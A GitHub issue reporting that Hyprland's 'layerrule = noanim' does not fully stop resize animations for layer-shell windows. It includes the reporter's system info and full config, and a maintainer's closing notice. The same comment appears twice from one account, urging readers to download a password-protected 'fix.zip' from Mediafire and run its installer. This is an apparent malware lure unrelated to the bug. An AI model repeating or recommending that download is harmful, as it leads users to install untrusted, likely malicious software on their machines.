Hyprland icon indicating copy to clipboard operation
Hyprland copied to clipboard

layerrule = noanim doesn't disable every animation

Open cr3eperall opened this issue 1 year ago • 7 comments

Regression?

No

System Info and Version

System/Version info
Hyprland, built from branch  at commit 918d8340afd652b011b937d29d5eea0be08467f5  (flake.lock: update).
Date: Tue Jun 25 12:06:02 2024
Tag: v0.41.2, commits: 4886

flags: (if any)


System Information:
System name: Linux
Node name: Davide-Arch-PC
Release: 6.6.45-1-lts
Version: #1 SMP PREEMPT_DYNAMIC Sun, 11 Aug 2024 14:02:12 +0000


GPU information: 
01:00.0 VGA compatible controller [0300]: NVIDIA Corporation TU106 [GeForce RTX 2070] [10de:1f02] (rev a1) (prog-if 00 [VGA controller])


os-release: NAME="Arch Linux"
PRETTY_NAME="Arch Linux"
ID=arch
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://archlinux.org/"
DOCUMENTATION_URL="https://wiki.archlinux.org/"
SUPPORT_URL="https://bbs.archlinux.org/"
BUG_REPORT_URL="https://gitlab.archlinux.org/groups/archlinux/-/issues"
PRIVACY_POLICY_URL="https://terms.archlinux.org/docs/privacy-policy/"
LOGO=archlinux-logo


plugins:

======Config-Start======


Config File: /home/david/.config/hypr/hyprland.conf: Read Succeeded

# #######################################################################################
# AUTOGENERATED HYPR CONFIG.
# PLEASE USE THE CONFIG PROVIDED IN THE GIT REPO /examples/hypr.conf AND EDIT IT,
# OR EDIT THIS ONE ACCORDING TO THE WIKI INSTRUCTIONS.
# #######################################################################################

#
# Please note not all available settings / options are set here.
# For a full list, see the wiki
#

#autogenerated = 1 # remove this line to remove the warning

# See https://wiki.hyprland.org/Configuring/Monitors/

monitor=DP-3,3840x2160@60,0x0,1.5
# monitor=DP-4,3840x2160@60,0x0,1.5
monitor=HDMI-A-1,1920x1080@60,2560x310,1.0
# monitor=HDMI-A-4,1920x1080@60,2560x310,1.0
# monitor=DP-3,highres,0x0,1
# monitor=HDMI-A-1,highres,3840x465,0.66
# monitor=DP-3,highres,0x0,2
# monitor=HDMI-A-1,highres,1920x232,1.3


# See https://wiki.hyprland.org/Configuring/Keywords/ for more

# Execute your favorite apps at launch
#exec-once = xprop -root -f _XWAYLAND_GLOBAL_OUTPUT_SCALE 32c -set _XWAYLAND_GLOBAL_OUTPUT_SCALE 2
exec-once = hyprctl setcursor theme_Adwaita 16
env = XDG_CURRENT_DESKTOP,Hyprland
exec-once = dbus-update-activation-environment --systemd WAYLAND_DISPLAY XDG_CURRENT_DESKTOP
exec-once = /usr/lib/polkit-kde-authentication-agent-1
exec-once = /usr/bin/play-with-mpv
exec-once = systemctl --user start xsettingsd.service
exec-once = wayvnc 0.0.0.0 5900 -o DP-3
# exec-once = sh /home/david/.config/scripts/set-xprop-until.sh
exec-once = dunst
#exec-once = hyprpaper
exec-once = swww init
exec-once = /home/david/.config/scripts/random-wallpaper.sh
exec-once = eww daemon && eww open main_bar #&& eww open dynamic_island

#clipboard manager
exec-once = wl-paste --type text --watch cliphist store #Stores only text data
exec-once = wl-paste --type image --watch cliphist store #Stores only image data
exec-once = cliphist wipe # clear history at startup

# Source a file (multi-file configs)
# source = ~/.config/hypr/myColors.conf

# Some default env vars.
env = XCURSOR_SIZE,24
env = HYPRCURSOR_THEME,theme_Adwaita
env = HYPRCURSOR_SIZE,16
env = GDK_BACKEND=wayland,x11
env = QT_QPA_PLATFORM="wayland;xcb"
env = GDK_SCALE,2
env = GDK_DPI_SCALE,1.5
env = QT_SCALE_FACTOR,1.5
env = GTK_USE_PORTAL,1
env = XDG_DESKTOP_PORTAL,1
env = LIBVA_DRIVER_NAME,nvidia
env = XDG_SESSION_TYPE,wayland
env = GBM_BACKEND,nvidia-drm
env = __GLX_VENDOR_LIBRARY_NAME,nvidia
env = WLR_NO_HARDWARE_CURSORS,1
env = XDG_CONFIG_HOME,/home/david/.config/
env = XDG_CACHE_HOME,/home/david/.cache/
env = XDG_DATA_HOME,/home/david/.local/share
env = XDG_STATE_HOME,/home/david/.local/state
env = XDG_DATA_DIRS,/usr/local/share:/usr/share
env = THEOS,/opt/theos
env = THEOS_MAKE_PATH,/opt/theos/makefiles
env = GTK_THEME,Adwaita:dark
env = GTK2_RC_FILES,/usr/share/themes/Adwaita-dark/gtk-2.0/gtkrc
#env = QT_STYLE_OVERRIDE,adwaita-dark
env = OLLAMA_MODELS,/mnt/storage/models
env = QT_QPA_PLATFORMTHEME,qt5ct
env = VISUAL,nvim
env = EDITOR,nvim
env = PAGER,bat
env = GOPATH,/home/david/.go
env = WLR_DRM_NO_ATOMIC,1
# workspace=1,monitor:DP-3,default:true
# workspace=2,monitor:HDMI-A-1,default:true
workspace=1,monitor:DP-3,default:true
workspace=2,monitor:HDMI-A-1,default:true

# For all categories, see https://wiki.hyprland.org/Configuring/Variables/
input {
    kb_layout = us,it
    kb_variant =
    kb_model =
    kb_options =
    kb_rules =

    repeat_rate = 30
    repeat_delay = 300

    follow_mouse = 1
    force_no_accel = true

    touchpad {
        natural_scroll = no
    }

    # touchdevice {
    #     transform = 2
    #     output = DP-3
    # }
    # tablet {
    #     transform = 2
    #     output = DP-3
    # }
}

$Col_a = 202a25 #gunmetal
$Col_b = f2542d #cinnabar
$Col_c = 8acdea #sky-blue
$Col_d = 00806f #pine-green
$Col_e = 231f38 #dark-purple

general {
    # See https://wiki.hyprland.org/Configuring/Variables/ for more

    gaps_in = 3
    gaps_out = 15
    border_size = 3
    col.active_border = rgba($Col_bbb) rgba($Col_bee) 45deg
    col.inactive_border = rgba($Col_eaa)

    layout = dwindle

    sensitivity = 1.0 # -1.0 - 1.0, 0 means no modification.
    allow_tearing = true

}

xwayland {
    use_nearest_neighbor = true
    force_zero_scaling = true
}

decoration {
    # See https://wiki.hyprland.org/Configuring/Variables/ for more

    rounding = 15

    blur {
        enabled = yes
        size = 9
        passes = 3
        new_optimizations = yes
    }

    drop_shadow = yes
    shadow_range = 8
    shadow_render_power = 3
    col.shadow = rgba($Col_b50)
    col.shadow_inactive = rgba($Col_e80)
}

# render {
    # explicit_sync = true
# }

animations {
    enabled = yes

    # Some default animations, see https://wiki.hyprland.org/Configuring/Animations/ for more

    bezier = myBezier, 0.05, 0.9, 0.1, 1.05

    animation = windows, 1, 7, myBezier
    animation = windowsOut, 1, 7, default, popin 80%
    animation = border, 1, 10, default
    animation = borderangle, 1, 8, default
    animation = fade, 1, 7, default
    animation = workspaces, 1, 6, default
}

dwindle {
    # See https://wiki.hyprland.org/Configuring/Dwindle-Layout/ for more
    pseudotile = yes # master switch for pseudotiling. Enabling is bound to mainMod + P in the keybinds section below
    preserve_split = yes # you probably want this
}

master {
    # See https://wiki.hyprland.org/Configuring/Master-Layout/ for more
    #new_is_master = true
}

gestures {
    # See https://wiki.hyprland.org/Configuring/Variables/ for more
    workspace_swipe = off
}
debug {
    disable_logs = false
    enable_stdout_logs = true
}
# Example per-device config
# See https://wiki.hyprland.org/Configuring/Keywords/#executing for more
# device:epic-mouse-v1 {
#     sensitivity = -0.5
# }

# Example windowrule v1
# windowrule = float, ^(kitty)$
# Example windowrule v2
# windowrulev2 = float,class:^(kitty)$,title:^(kitty)$
windowrule = stayfocused, wofi

windowrule = workspace 2 silent, Cider

windowrule = float,^(org.kde.polkit-kde-authentication-agent-1)$
windowrule = tile,class:(Chromium)
# See https://wiki.hyprland.org/Configuring/Window-Rules/ for more

#xwaylandvideobridge
windowrulev2 = opacity 0.0 override 0.0 override,class:^(xwaylandvideobridge)$
windowrulev2 = noanim,class:^(xwaylandvideobridge)$
windowrulev2 = nofocus,class:^(xwaylandvideobridge)$
windowrulev2 = noinitialfocus,class:^(xwaylandvideobridge)$
# tearing
windowrulev2 = immediate, class:^(Warframe)$
# LayerShell
layerrule= noanim, dynisland
# See https://wiki.hyprland.org/Configuring/Keywords/ for more
$mainMod = SUPER

# Example binds, see https://wiki.hyprland.org/Configuring/Binds/ for more
bind = $mainMod, Q, exec, kitty
bind = $mainMod, C, killactive,
bind = $mainMod, M, exit,
bind = $mainMod, E, exec, thunar
bind = $mainMod, B, exec, env GDK_DPI_SCALE=1 /usr/lib/firefox/firefox --ProfileManager
bind = $mainMod, A, exec, gtk-launch cider
bind = $mainMod, F, togglefloating,
bind = $mainMod, R, exec, wofi --show drun --allow-images -i --term=kitty
bind = $mainMod, P, pseudo, # dwindle
bind = $mainMod, J, togglesplit, # dwindle
bind = $mainMod, F11, fullscreen, 0
bind = $mainMod SHIFT, F11, fullscreen, 1
bind = $mainMod,Alt_L,exec,hyprctl switchxkblayout razer-razer-blackwidow-tournament-edition-chroma next & notify-send "KB Layout changed to $(hyprctl -j devices | jq -r '.keyboards.[] | select(.name=="razer-razer-blackwidow-tournament-edition-chroma").active_keymap')"
bind = $mainMod,Alt_L,exec,hyprctl switchxkblayout razer-razer-blackwidow-tournament-edition-chroma-1 next
bind = $mainMod,Alt_L,exec,hyprctl switchxkblayout razer-razer-blackwidow-tournament-edition-chroma-2 next
bind = $mainMod,Alt_L,exec,hyprctl switchxkblayout razer-razer-blackwidow-tournament-edition-chroma-3 next
bind = $mainMod,Alt_L,exec,hyprctl switchxkblayout default-output next

#clipboard
bind = $mainMod, V, exec, sh -c "cliphist list | wofi -dmenu -O default | cliphist decode | wl-copy; wl-paste"
#color picker
bind = $mainMod CTRL, C, exec, hyprpicker -a
#screenshot
bind = $mainMod CTRL, S, exec, grimblast copysave area
#type clipboard
bindr = $mainMod CTRL, V, exec, sh -c "sleep 0.5; wl-paste --no-newline | /usr/bin/ydotool type %@ -d 10 -f -"

# Move focus with mainMod + arrow keys
bind = $mainMod, left, movefocus, l
bind = $mainMod, right, movefocus, r
bind = $mainMod, up, movefocus, u
bind = $mainMod, down, movefocus, d

# Switch workspaces with mainMod + [0-9]
bind = $mainMod, 1, workspace, 1
bind = $mainMod, 2, workspace, 2
bind = $mainMod, 3, workspace, 3
bind = $mainMod, 4, workspace, 4
bind = $mainMod, 5, workspace, 5
bind = $mainMod, 6, workspace, 6
bind = $mainMod, 7, workspace, 7
bind = $mainMod, 8, workspace, 8
bind = $mainMod, 9, workspace, 9
bind = $mainMod, 0, workspace, 10

# Move active window to a workspace with mainMod + SHIFT + [0-9]
bind = $mainMod SHIFT, 1, movetoworkspace, 1
bind = $mainMod SHIFT, 2, movetoworkspace, 2
bind = $mainMod SHIFT, 3, movetoworkspace, 3
bind = $mainMod SHIFT, 4, movetoworkspace, 4
bind = $mainMod SHIFT, 5, movetoworkspace, 5
bind = $mainMod SHIFT, 6, movetoworkspace, 6
bind = $mainMod SHIFT, 7, movetoworkspace, 7
bind = $mainMod SHIFT, 8, movetoworkspace, 8
bind = $mainMod SHIFT, 9, movetoworkspace, 9
bind = $mainMod SHIFT, 0, movetoworkspace, 10

# Scroll through existing workspaces with mainMod + scroll
bind = $mainMod, mouse_down, workspace, e+1
bind = $mainMod, mouse_up, workspace, e-1

# Move/resize windows with mainMod + LMB/RMB and dragging
bindm = $mainMod, mouse:272, movewindow
bindm = $mainMod, mouse:273, resizewindow


======Config-End========

Description

Using a layer shell with a resizable window, if I don't set layerrule = noanim in the config, the resize is animated as expected. If i set layerrule = noanim, the window should not be animated but there is still some stretching and the window shakes, while on another compositor without animations like Sway, the animation is created by GTK and everything is smooth

How to reproduce

Use a layer shell with a window that gets resized (use something like eww, with :resizable false in the window definition), with and without layerrule = noanim in the hyprland config

Crash reports, logs, images, videos

Hyprland with animations: https://github.com/user-attachments/assets/ecb84ca8-b35b-4ed4-95d2-1929c6f41e66

Hyprland with layerrule = noanim: https://github.com/user-attachments/assets/494ab423-366a-460c-8923-addaad001f7f

Sway: https://github.com/user-attachments/assets/57c3c4a9-f73b-4f39-8859-b297b6123476

cr3eperall avatar Aug 26 '24 10:08 cr3eperall

Download https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme In the installer menu, select "gcc."

TerminatedGA avatar Aug 26 '24 12:08 TerminatedGA

Download https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme In the installer menu, select "gcc."

TerminatedGA avatar Aug 26 '24 12:08 TerminatedGA

Hello there!

This issue has been closed, as we are moving from issues to discussions. More about this can be found here and in #9854.

Firstly, please make sure this issue is still relevant in latest Hyprland. If so, we ask you to open a discussion (please read the discussion guidelines first, in the pinned post)

Thank you for your understanding!

vaxerski avatar Apr 05 '25 19:04 vaxerski